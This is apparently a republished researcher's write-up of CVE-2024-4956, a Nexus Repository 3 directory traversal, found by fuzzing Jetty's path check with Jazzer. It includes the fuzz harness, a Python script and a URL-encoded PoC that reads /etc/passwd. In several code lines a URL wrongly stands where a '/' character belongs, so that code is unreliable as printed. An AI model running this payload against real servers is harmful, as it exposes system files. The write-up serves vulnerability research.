Exploiting Nexus Repository 3 Directory Traversal Vulnerability (CVE-2024-4956) via Java Fuzzing
Preface
A long time ago, when I was digging a SRC with my friends, I encountered a Nexus repository open on the public network. However, I didn’t find any sensitive information in the jar package in the repository at that time, so I gave up.
I remembered this incident after seeing CyberKunlun’s vulnerability announcement last Wednesday, so I spent some time analyzing the vulnerability briefly, and finally got the PoC by combining Jazzer, a Java Fuzzing framework.
This article is actually a little late, but since I am also doing Fuzzing related work recently, and @evilpan
The master has also shared an article about Java Fuzzing before, so I also plan to use this directory to briefly share the application of Java Fuzzing in vulnerability mining.
https://evilpan.com/2023/09/09/java-fuzzing/
Vulnerabilities
https://mp.weixin.qq.com/s/7kAEwB_FcQ2KLeiIfh0dxg
https://support.sonatype.com/hc/en-us/articles/29412417068819-Mitigations-for-CVE-2024-4956-Nexus-Repository-3-Vulnerability
Let me first talk about how to get the source code and debug
1
2
|
docker pull sonatype/nexus3:3.68.0-java8
docker pull sonatype/nexus3:3.68.0-java8
|
Copy the /opt/sonatype/nexus directory in the image
Then copy all the jars in the directory to the same directory to facilitate IDEA to add dependencies
1
|
find . -name "*.jar" -exec cp {} all-lib/ \;
|
Docker Debugging
1
|
docker run -d -p 8081:8081 -p 5005:5005 --name nexus -e INSTALL4J_ADD_VM_PARAMS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005" sonatype/nexus3:3.68.0-java8
|
Comparing with nexus-base-xxx.jar, we can find that the vulnerability is located in WebResourceServiceImpl
In addition, the official announcement mentioned reourceBase, located in jetty.xml
This is actually very easy to understand. When the URL accessed by the user does not hit any Servlet, it will fallback to this public directory.
The public directory contains static files, such as robots.txt and various images (favicon).
By setting a few breakpoints and doing some simple dynamic debugging, we can find that WebResourceServlet calls the getResource method of WebResourceServiceImpl
org.sonatype.nexus.internal.webresources.WebResourceServlet
The path passed in here cannot be /
At the end, otherwise it will be added index.html
you need to pay attention to this point when fuzzing later
org.sonatype.nexus.internal.webresources.WebResourceServiceImpl#getResource
The getResource method obtains resource files in three different ways:
- devModeResources: You need to manually enable the developer mode. A resourceLocations list is maintained internally. It is empty by default.
- resourcePaths: Various js files and images in the static directory
- this.servletContext: 即
org.eclipse.jetty.webapp.WebAppContext
Get resource files through Jetty's WebAppContext
After testing, we found that if we access files in the public directory, such as robots.txt, it will fallback to the third method, which is org.eclipse.jetty.webapp.WebAppContext#getResource
This is actually the logic of Jetty itself, and has nothing to do with Nexus.
Directly give the call stack
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
|
<init>:261, PathResource (org.eclipse.jetty.util.resource)
addPath:380, PathResource (org.eclipse.jetty.util.resource)
getResource:1958, ContextHandler (org.eclipse.jetty.server.handler)
getResource:389, WebAppContext (org.eclipse.jetty.webapp)
getResource:1562, WebAppContext$Context (org.eclipse.jetty.webapp)
getResource:127, WebResourceServiceImpl (org.sonatype.nexus.internal.webresources)
doGet:98, WebResourceServlet (org.sonatype.nexus.internal.webresources)
service:687, HttpServlet (javax.servlet.http)
service:790, HttpServlet (javax.servlet.http)
doServiceImpl:293, ServletDefinition (com.google.inject.servlet)
doService:283, ServletDefinition (com.google.inject.servlet)
service:184, ServletDefinition (com.google.inject.servlet)
service:71, DynamicServletPipeline (com.google.inject.servlet)
doFilter:85, FilterChainInvocation (com.google.inject.servlet)
doFilter:61, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:108, AdviceFilter (org.apache.shiro.web.servlet)
doFilterInternal:137, AdviceFilter (org.apache.shiro.web.servlet)
doFilter:154, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:66, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:108, AdviceFilter (org.apache.shiro.web.servlet)
doFilterInternal:137, AdviceFilter (org.apache.shiro.web.servlet)
doFilter:154, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:66, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:458, AbstractShiroFilter (org.apache.shiro.web.servlet)
executeChain:96, SecurityFilter (org.sonatype.nexus.security)
call:373, AbstractShiroFilter$1 (org.apache.shiro.web.servlet)
doCall:90, SubjectCallable (org.apache.shiro.subject.support)
call:83, SubjectCallable (org.apache.shiro.subject.support)
execute:387, DelegatingSubject (org.apache.shiro.subject.support)
doFilterInternal:370, AbstractShiroFilter (org.apache.shiro.web.servlet)
doFilterInternal:112, SecurityFilter (org.sonatype.nexus.security)
doFilter:154, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:112, AbstractInstrumentedFilter (com.codahale.metrics.servlet)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:116, LicensingRedirectFilter (com.sonatype.nexus.licensing.internal)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:112, AbstractInstrumentedFilter (com.codahale.metrics.servlet)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:79, ErrorPageFilter (org.sonatype.nexus.internal.web)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:101, EnvironmentFilter (org.sonatype.nexus.internal.web)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:98, HeaderPatternFilter (org.sonatype.nexus.internal.web)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
dispatch:104, DynamicFilterPipeline (com.google.inject.servlet)
doFilter:133, GuiceFilter (com.google.inject.servlet)
doFilter:73, DelegatingFilter (org.sonatype.nexus.bootstrap.osgi)
doFilter:201, FilterHolder (org.eclipse.jetty.servlet)
doFilter:1626, ServletHandler$Chain (org.eclipse.jetty.servlet)
doHandle:552, ServletHandler (org.eclipse.jetty.servlet)
handle:143, ScopedHandler (org.eclipse.jetty.server.handler)
handle:600, SecurityHandler (org.eclipse.jetty.security)
handle:127, HandlerWrapper (org.eclipse.jetty.server.handler)
nextHandle:235, ScopedHandler (org.eclipse.jetty.server.handler)
doHandle:1624, SessionHandler (org.eclipse.jetty.server.session)
nextHandle:233, ScopedHandler (org.eclipse.jetty.server.handler)
doHandle:1440, ContextHandler (org.eclipse.jetty.server.handler)
nextScope:188, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:505, ServletHandler (org.eclipse.jetty.servlet)
doScope:1594, SessionHandler (org.eclipse.jetty.server.session)
nextScope:186, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:1355, ContextHandler (org.eclipse.jetty.server.handler)
handle:141, ScopedHandler (org.eclipse.jetty.server.handler)
handle:127, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:239, InstrumentedHandler (com.codahale.metrics.jetty9)
handle:146, HandlerCollection (org.eclipse.jetty.server.handler)
handle:127, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:516, Server (org.eclipse.jetty.server)
lambda$handle$1:487, HttpChannel (org.eclipse.jetty.server)
dispatch:-1, 1026407993 (org.eclipse.jetty.server.HttpChannel$$Lambda$1934)
dispatch:732, HttpChannel (org.eclipse.jetty.server)
handle:479, HttpChannel (org.eclipse.jetty.server)
onFillable:277, HttpConnection (org.eclipse.jetty.server)
succeeded:311, AbstractConnection$ReadCallback (org.eclipse.jetty.io)
fillable:105, FillInterest (org.eclipse.jetty.io)
run:104, ChannelEndPoint$1 (org.eclipse.jetty.io)
runTask:338, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
doProduce:315, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
tryProduce:173, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
run:131, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
run:409, ReservedThreadExecutor$ReservedThread (org.eclipse.jetty.util.thread)
runJob:883, QueuedThreadPool (org.eclipse.jetty.util.thread)
run:1034, QueuedThreadPool$Runner (org.eclipse.jetty.util.thread)
run:750, Thread (java.lang)
|
Several key points
First, the path must start with /
beginning
Then the path will be spliced through the addPath method of PathResource
The addPath method will first use the URIUtil.canonicalPath method to normalize the path. If the normalized result is null, an exception will be thrown.
Then the original subPath is passed into the PathResource constructor to get a new resource path
Note that the result of canonicalPath is not passed into the PathResource constructor, which means that this process is just a check rather than a sanitize.
Let's look at the specific implementation of this method
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
|
public static String canonicalPath(String path) {
if (path != null && !path.isEmpty()) {
boolean slash = true;
int end = path.length();
int i;
label68:
for(i = 0; i < end; ++i) {
char c = path.charAt(i);
switch (c) {
case '.':
if (slash) {
break label68;
}
slash = false;
break;
case "https://unsafe.sh/":
slash = true;
break;
default:
slash = false;
}
}
if (i == end) {
return path;
} else {
StringBuilder canonical = new StringBuilder(path.length());
canonical.append(path, 0, i);
int dots = 1;
++i;
for(; i < end; ++i) {
char c = path.charAt(i);
switch (c) {
case '.':
if (dots > 0) {
++dots;
} else if (slash) {
dots = 1;
} else {
canonical.append('.');
}
slash = false;
continue;
case "https://unsafe.sh/":
if (doDotsSlash(canonical, dots)) {
return null;
}
slash = true;
dots = 0;
continue;
}
while(dots-- > 0) {
canonical.append('.');
}
canonical.append(c);
dots = 0;
slash = false;
}
if (doDots(canonical, dots)) {
return null;
} else {
return canonical.toString();
}
}
} else {
return path;
}
}
|
How does this method normalize the path? Under what circumstances will it return null? You can simply feel it through the following demos
1
2
3
4
5
|
URIUtil.canonicalPath("/robots.txt"); // /robots.txt
URIUtil.canonicalPath("/./etc/passwd"); // /etc/passwd
URIUtil.canonicalPath("/etc/a/b/c/../../../passwd"); // /etc/passwd
URIUtil.canonicalPath("/../etc/passwd"); // null
URIUtil.canonicalPath("/../../../etc/passwd"); // null
|
When the passed path jumps out of the current root directory, canonicalPath will return null, which seems to be to prevent directory traversal.
To be honest, I can't immediately think of any way to bypass it at first glance, but we can extract the above series of logic from Jetty and use the idea of fuzzing to test it.
Fuzzing
https://github.com/CodeIntelligenceTesting/jazzer
Jazzer is a fuzzing framework based on libfuzzer, and is also integrated into Google's OSS-Fuzz
For more information on using libfuzzer, please refer to Google's fuzzing tutorial.
https://github.com/google/fuzzing/blob/master/tutorial/libFuzzerTutorial.md
Jazzer is essentially a shell of libfuzzer, but it has made the following improvements on the Java language level (based on Java Agent):
- Coverage instrumentation: Generate a control flow graph (CFG) and insert a method call (CoverageMap.recordCoverage) on each edge to record the coverage of the current position.
- Data flow instrumentation: Hooks common Java data type comparison methods (such as compare, indexOf, startsWith), as well as the underlying JVM opcodes, and sends trace data to libfuzzer for mutating fuzz data
- Sensitive function (Sink) stub: Hook common dangerous functions (such as Runtime.exec, InitialContext.lookup, Statement.execute) and detect whether there is dangerous logic. The idea is similar to RASP.
Interested masters can refer to the following articles and the source code of the Jazzer project
https://www.code-intelligence.com/blog/java-fuzzing-with-jazzer
https://www.code-intelligence.com/blog/how-to-write-fuzz-targets-for-java-applications
https://www.code-intelligence.com/blog/on-the-fuzzing-hook
Before fuzzing, we need to write a Test Harness, that is, define a fuzzerTestOneInput method, and then call the specific method to be fuzzed internally
For this vulnerability, Test Harness is the logic that we need to extract from Jetty.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
package fuzz;
import com.code_intelligence.jazzer.api.FuzzedDataProvider;
import com.code_intelligence.jazzer.api.FuzzerSecurityIssueCritical;
import com.code_intelligence.jazzer.api.Jazzer;
import org.eclipse.jetty.util.URIUtil;
import org.eclipse.jetty.util.resource.PathResource;
import java.net.URI;
public class Main {
public static void fuzzerTestOneInput(FuzzedDataProvider data) {
String path = data.consumeRemainingAsAsciiString();
if (!path.startsWith("https://unsafe.sh/")) return;
if (URIUtil.canonicalPath(path) == null) return;
if (path.endsWith("https://unsafe.sh/")) return;
if (!path.endsWith("/etc/passwd")) return;
try {
PathResource parent = new PathResource(new URI("file:///a/b/c/d"));
PathResource child = (PathResource) parent.addPath(path);
if (child.getPath().normalize().toString().equals("/etc/passwd")) {
Jazzer.reportFindingFromHook(new FuzzerSecurityIssueCritical("success"));
}
} catch (Exception e) {
// ignore
}
}
}
|
The first few ifs are used to limit the scope of fuzz data. The subsequent process is to splice the path through PathResource.
If the concatenated path is equal to /etc/passwd
then it is highly likely that the data is valid, and then a FuzzerSecurityIssueCritical exception will be thrown to terminate the fuzzing process
Package the harness and Jetty dependencies into the same jar, then run Jazzer
1
|
./jazzer --cp="JettyFuzz.jar" --target_class="fuzz.Main" -use_value_profile=1
|
Wait for a while to get the result
Of course, it is definitely not possible to access directly using this path, because Jetty will perform some standardization operations on this deformed URL before Servlet processing, resulting in the path received by the final Servlet not being our original path. The solution is to fully URL encode the path before sending it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
import requests
def urlencode(data):
enc_data = ''
for i in data:
h = str(hex(ord(i))).replace('0x', '')
if len(h) == 1:
enc_data += '%0' + h.upper()
else:
enc_data += '%' + h.upper()
return enc_data
payload = '///..//.//..///..//.././etc/passwd'
url = 'http://127.0.0.1:8081/' + urlencode(payload)
res = requests.get(url)
print(url)
print(res.text)
|
Final PoC
1
|
http://127.0.0.1:8081/%2F%2F%2F%2E%2E%2F%2F%2E%2F%2F%2E%2E%2F%2F%2F%2E%2E%2F%2F%2E%2E%2F%2E%2F%65%74%63%2F%70%61%73%73%77%64
|
Complete harness code: https://github.com/X1r0z/JettyFuzz
Nevertheless, the above fuzzing process still has some problems.
-
The harness has been simplified to a certain extent, and it cannot completely restore the actual scene (if you want to completely restore it, the corresponding fuzz efficiency will be lower and it will take more time)
-
Because of the above, the payload generated by fuzzing may have false positives. You may need to run fuzz multiple times to get multiple results before testing.
But in general, Java Fuzzing technology can still play a certain role in the process of vulnerability discovery, such as the construction of complex/malformed paths, or @evilpan
The authentication bypass caused by the specific IP mentioned by the master in the article
GIPHY App Key not set. Please check settings